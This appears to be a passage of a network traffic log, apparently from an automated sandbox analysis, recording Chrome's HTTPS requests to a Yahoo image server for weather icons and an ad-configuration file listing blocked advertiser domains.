2024-04-27 22:42:00 UTC	1300	IN	Data Raw: a6 09 f4 de 10 20 4a 4b 76 10 f0 ff 10 62 35 78 0b d9 b7 6d 51 a6 1f b4 6e 5e b4 62 35 31 e1 30 87 80 ac ad 30 98 0d 4f b8 65 f4 dd fb fa ae f0 cb 03 2a af 9b c5 ce d8 76 c4 2d 8c 80 b6 61 13 71 bf 72 07 31 6a 34 71 e4 bc 86 f1 5b d2 3d 3f e0 4a 72 84 96 3f 09 8b 4d 1f 6f d2 db 8b f7 51 98 1c 49 e5 b0 09 b0 c3 ea e7 60 63 61 90 20 c8 f9 86 72 0c 7b af b0 a6 7a 13 ae a5 0f 9e 5f 35 a1 02 3f 78 5d 0c 47 97 dd b4 47 2c 5d 12 97 64 ce b7 45 64 19 ee e8 02 d8 03 6d e2 ea 97 56 b1 27 59 fb 11 2f 44 41 3c a9 29 d6 98 a5 5b 9f ce 0f 35 76 64 6b c9 22 5e e8 1e 8b 63 c1 d8 9b 6f 52 ed ea 77 f4 c9 0a 17 1d 86 ce 7f 88 9f f7 cd db 2a 49 a3 5a 8f 01 41 55 ae 84 ee de a0 f4 44 aa 80 58 1c 47 ed f5 6b 32 29 d0 0e 39 c0 ce 53 7f 8e d7 d5 c8 dc 6f 31 51 90 fd 30 3b e4 7a Data Ascii: JKvb5xmQn^b5100Oev-aqr1j4q[=?Jr?MoQI`ca r{z_5?x]GG,]dEdmV'Y/DA<)[5vdk"^coRwIZAUDXGk2)9So1Q0;z
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 80 b5 43 f2 b7 31 5f c9 ba c9 a1 c7 68 85 62 20 b6 6a aa 6c 57 63 2d ca 4a 44 4f 2c 16 9f 2f 84 3e dc 81 c5 a0 74 98 e9 b4 74 e9 4c aa ed 89 2a 09 b1 72 87 56 27 82 48 6c c0 fe c5 25 d5 f4 0b 06 de d2 7b 88 26 b6 de 39 42 11 b6 80 3e 24 8b 44 7f 74 c9 3f 23 34 ad 45 67 68 50 66 30 8c bb 94 f0 44 79 07 d1 eb 81 08 5e 07 94 59 37 7d b2 91 86 3b d9 85 a8 6f f5 71 e0 2e 17 da ab 5f 18 21 d4 f6 44 5d e5 e5 2b 0b 09 83 00 a2 44 e7 d8 bb a9 6e 42 fc 85 ed af ec 36 a1 af 99 ab 88 a7 bb fe 3a 12 fd 2c c6 0d f6 89 6b c5 c7 92 af 17 c7 f8 3a 5e 5c 10 28 fe c8 3b 67 60 1b 9b 53 e0 4d 22 1d 7c 6a a2 fd 2e f4 83 f1 3e 12 5e ce da d6 b0 49 0c 1f 7d 67 fa 51 b3 81 d1 bc 19 75 47 fd 0e 22 32 d3 98 23 94 df 75 87 c7 43 91 5d 3b 9d c0 cd 19 1e a6 5f ff 4e dc d3 c3 e7 48 78 Data Ascii: C1_hb jlWc-JDO,/>ttL*rV'Hl%{&9B>$Dt?#4EghPf0Dy^Y7};oq._!D]+DnB6:,k:^\(;g`SM"\|j.>^I}gQuG"2#uC];_NHx
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: cb dd 1e f0 98 ae 99 06 05 ef eb 66 ce 96 8c ca 40 35 19 b9 cc de 44 74 9f 8b 2b 1a 1d 48 65 9a 76 07 d0 ad 5d 99 a5 ce 1a 1b fb 92 bd 3f 36 32 7f 34 d8 55 bf 53 69 58 25 df e3 ba 57 32 c7 57 9c b9 4b 85 27 01 17 ae 86 93 f7 f0 d7 d4 e5 bd a3 99 3d 20 13 07 4b 09 91 5f 28 ff e6 26 86 45 ae ae e8 f3 c3 7f 86 79 08 97 ff 28 98 dc 98 43 d1 80 ed fc 1c 51 82 70 b7 89 31 8b d9 ad d4 21 73 a8 01 4f c2 1f 9a 11 6d af 29 cc 80 e7 a9 2a 79 0c 02 c8 30 3c aa 0e 39 9d c2 46 66 c9 4a 2f 7d 0b 7a a6 96 f5 32 e6 99 d0 39 8d 2c 10 b8 65 72 8a 9c 52 73 35 d1 0f 77 69 5a 0c d6 65 0c 30 75 8e e2 a8 aa c4 75 15 32 d8 c8 be c1 3a 29 75 63 82 51 7d 7a 01 ad 92 74 e0 84 7e cf 98 b4 62 b6 16 ee fc 84 f9 bf 71 cc b4 1d 4f db 06 e5 33 93 10 de be a2 7c ff f8 a6 55 1f 4c 9d 93 8f Data Ascii: f@5Dt+Hev]?624USiX%W2WK'= K_(&Ey(CQp1!sOm)*y0<9FfJ/}z29,erRs5wiZe0uu2:)ucQ}zt~bqO3\|UL
2024-04-27 22:42:00 UTC	704	IN	Data Raw: fb 98 bb 56 c4 65 9c 4a d7 b5 bf cd 61 4f e9 35 ea 70 ed b1 77 86 0c 34 44 a1 d6 b5 20 85 8c 72 e1 ac 4c 09 73 12 47 28 37 4f 34 32 f7 0b 03 7f f3 0b 38 2e 52 90 a1 b0 b7 c7 27 bd 78 1b 2e d4 82 9b 21 d5 bb be e9 96 c3 53 45 2f 2a 99 51 44 a5 d0 dd 3d 0c 11 e0 dc 96 35 bf 30 87 09 a4 02 7c 1c ff 61 81 b7 59 60 6f c3 51 b2 f3 a6 d3 fd e6 a9 ab ad 4e b2 8b 4c c3 10 68 95 3a 7f 19 c3 85 fb af 43 87 d7 c1 2a de 20 1e ca c5 b5 cd 69 9b 63 e3 b9 13 0c 09 45 ed 01 37 1d e3 be 3d e8 83 af 0f 16 82 2c 0e 4f 6c e3 f8 4f ae 01 8b 6d 6c 39 fa 9b 7a 12 ad 85 3f 0b e4 59 90 18 e3 b2 6d f1 36 b5 a5 c7 7d 56 68 ac fb 8f 71 6b d1 f1 6c 41 17 1b 59 1b 7e 49 f8 22 83 6f 51 f8 38 4c 21 43 2d c6 ce 7f 54 43 5d 49 3d 15 14 9c 5c 8f d4 b2 50 36 5b b3 07 70 8e 10 62 05 9b 96 95 Data Ascii: VeJaO5pw4D rLsG(7O428.R'x.!SE/QD=50\|aY`oQNLh:C icE7=,OlOml9z?Ym6}VhqklAY~I"oQ8L!C-TC]I=\P6[pb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50000	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	366	OUT	GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: Ld+12vJTd0arW4qVJ+Az5Y0/J8xfk6y/0Zvj9bTwyR5orBCaXK2hh4D0vw9ohV5SSK+qOa8iOgI= x-amz-request-id: BVJ2XPFTVBJDRT06 Date: Sun, 21 Apr 2024 20:09:26 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "b182d19798f0d66ca701301e28c0034a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1087 Referrer-Policy: no-referrer-when-downgrade Age: 527555 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-04-27 22:42:00 UTC	1087	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50001	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	361	OUT	GET /eh/prebid-config/bp-fp.json HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	740	IN	HTTP/1.1 200 OK x-amz-id-2: j39iWvPs+NbKv9D9veq3ath1GJMNyVtYM31Xrd8FuDISUxAucplctYKFbBNmwLcmmSWSLUMU3xQ= x-amz-request-id: G27WJDBP2KWC2ZTJ Date: Sat, 27 Apr 2024 22:42:01 GMT Last-Modified: Fri, 26 Apr 2024 23:31:06 GMT ETag: "f85093458f6596d54d6c7ba3309ec8f8" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=300 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 86256 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 72 61 6e 64 50 72 6f 74 65 63 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 62 61 64 76 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 31 31 31 2e 63 6f 6d 2e 74 77 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 39 36 32 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 31 6b 65 79 67 6f 75 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 30 32 30 75 70 74 6f 2e 75 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 32 33 36 33 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 33 35 30 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 33 6f 61 6b 73 6f Data Ascii: { "brandProtection": { "badv": { "1111.com.tw": true, "1962pac.com": true, "1keygou.com": true, "2020upto.us": true, "2363.org": true, "350.org": true, "3oakso
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 72 61 6d 73 66 6f 72 73 74 61 74 65 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 73 65 6e 74 65 65 73 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 62 77 74 2d 70 66 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 65 62 61 72 72 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 66 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 68 6f 72 66 6f 72 61 72 6b 61 6e 73 61 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 63 6c 2e 6f 72 67 2e 61 75 Data Ascii: ": true, "abramsforstatesenate.com": true, "absenteesc.com": true, "abwt-pf.org": true, "acebarry.com": true, "acf.org.au": true, "achorforarkansas.com": true, "acl.org.au
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 65 64 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 65 6d 69 6e 6e 65 73 6f 74 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 61 6e 63 69 6e 67 64 65 6e 76 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 64 76 65 72 74 67 69 66 74 63 61 72 64 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 65 75 66 65 64 65 72 61 6c 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 66 63 67 61 70 61 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 66 66 6f 72 64 61 62 6c 65 66 75 65 6c 77 61 73 68 69 6e 67 74 6f 6e 2e 63 6f 6d 22 3a Data Ascii: ed.org": true, "advanceminnesota.com": true, "advancingdenver.com": true, "advertgiftcards.com": true, "aeufederal.org.au": true, "afcgapac.com": true, "affordablefuelwashington.com":
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 6c 69 61 6e 63 65 34 65 6e 65 72 67 79 73 65 63 75 72 69 74 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 69 61 6e 63 65 66 6f 72 63 6f 6d 6d 6f 6e 73 65 6e 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 70 72 6f 6d 6f 63 6c 75 62 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6c 74 6f 67 65 74 68 65 72 63 6f 6c 6f 72 61 64 6f 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6d 61 73 74 72 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6d 75 66 74 61 74 72 61 64 69 6e 67 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6c 6f Data Ascii: liance4energysecurity.com": true, "allianceforcommonsense.com": true, "allpromoclub.com": true, "alltogethercolorado.org": true, "almastra.com": true, "almuftatrading.com": true, "alo
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 72 69 63 61 77 6f 72 6b 73 75 73 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 67 72 65 61 74 6e 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 73 67 69 66 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 69 65 75 2e 61 73 6e 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 6f 6c 61 74 69 6e 61 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6d 77 75 2e 6f 72 67 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 61 73 74 61 73 69 61 64 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 63 69 Data Ascii: ricaworksusa.org": true, "amgreatness.com": true, "amiesgift.com": true, "amieu.asn.au": true, "amolatina.com": true, "amwu.org.au": true, "anastasiadate.com": true, "anci
2024-04-27 22:42:00 UTC	1098	IN	Data Raw: 20 20 20 22 61 6e 74 69 76 69 72 75 73 2d 6e 65 77 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6e 74 6f 6e 69 6e 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 6f 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 65 6c 6c 79 61 74 73 69 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 68 69 6f 6e 75 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 69 61 76 6f 74 65 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 69 70 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 70 6f 73 74 61 Data Ascii: "antivirus-news.com": true, "antonin.ru": true, "aoa.org": true, "apellyatsii.ru": true, "aphionu.com": true, "apiavote.org": true, "apipennsylvania.org": true, "aposta
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 74 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 6f 6f 73 61 72 65 61 73 65 72 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 72 6f 66 69 69 2e 72 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 74 69 65 68 66 6f 72 73 65 6e 61 74 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 74 77 61 74 65 72 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 6e 63 68 61 6d 62 65 72 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 61 75 73 74 72 61 6c 69 61 Data Ascii: ts.com": true, "atoosareaser.com": true, "atrofii.ru": true, "attiehforsenate.com": true, "atwater.org": true, "au.org": true, "australianchamber.com.au": true, "australia
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 73 6b 65 74 62 61 6c 6c 61 64 64 69 63 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 74 74 69 73 74 61 66 6f 72 6a 75 64 67 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 79 61 64 65 65 72 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 61 79 63 6f 75 6e 74 79 64 65 6d 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 63 61 2e 63 6f 6d 2e 61 75 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 63 62 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 64 73 6d 2e 63 6f 6d 22 3a 20 74 72 75 65 Data Ascii: true, "basketballaddict.com": true, "battistaforjudge.com": true, "bayadeers.com": true, "baycountydems.com": true, "bca.com.au": true, "bcbs.com": true, "bdsm.com": true
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 74 75 73 2e 63 6f 6d 2e 70 61 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 62 6c 69 6f 6b 65 6c 70 74 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 64 65 61 73 65 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6c 6c 63 61 73 73 69 64 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6c 6c 63 75 6e 6e 69 6e 67 68 61 6d 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 67 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 69 6e 67 61 64 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c Data Ascii: com": true, "betus.com.pa": true, "bibliokelpt.com": true, "bidease.com": true, "billcassidy.com": true, "billcunningham.com": true, "bing.com": true, "bingads.com": true,
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 20 20 22 62 72 61 64 6d 75 72 70 68 79 66 6f 72 63 6f 6e 67 72 65 73 73 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 61 6e 64 6f 6e 67 72 61 79 6e 63 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 61 6e 64 6f 6e 70 72 65 73 6c 65 79 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 65 61 6b 74 68 72 6f 75 67 68 65 6e 65 72 67 79 2e 6f 72 67 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 65 77 73 65 65 6e 64 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 61 6e 66 69 74 7a 70 61 74 72 69 63 6b 2e 63 6f 6d 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 72 69 67 67 Data Ascii: "bradmurphyforcongress.com": true, "brandongraync.com": true, "brandonpresley.com": true, "breakthroughenergy.org": true, "brewseend.com": true, "brianfitzpatrick.com": true, "brigg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	49999	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	376	OUT	GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: h0QhplU8bgUdPc+Scl/s5WCfxJUQufi5E4dzSlgtGytwEcOhq79iHa1UeKhUv8gymFiJp9/6j3c= x-amz-request-id: YQWKXS3SWNXRSDER Date: Fri, 26 Apr 2024 15:48:36 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "93dc53d369dca8f09877c3ecc9a41de3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1695 Referrer-Policy: no-referrer-when-downgrade Age: 111206 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-04-27 22:42:00 UTC	395	IN	Data Raw: 36 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 37 36 37 20 31 30 2e 34 37 36 4c 2e 38 36 36 20 32 33 2e 35 33 43 33 2e 31 39 39 20 33 30 2e 37 36 36 20 39 2e 39 38 38 20 33 36 20 31 38 20 33 36 63 39 2e 39 34 31 20 30 20 31 38 2d 38 2e 30 35 39 20 31 38 2d 31 38 6c 2d 31 31 2e 32 33 33 2d 37 2e 35 32 34 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 37 37 33 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 2f 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 36 20 36 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 20 Data Ascii: 6)"/> <path d="M24.767 10.476L.866 23.53C3.199 30.766 9.988 36 18 36c9.941 0 18-8.059 18-18l-11.233-7.524z" fill="url(#b)" opacity=".773" transform="translate(6 6)"/> <g transform="translate(6 6)"> <use fill="url(#c)" xlink:href="#d"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50002	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	371	OUT	GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
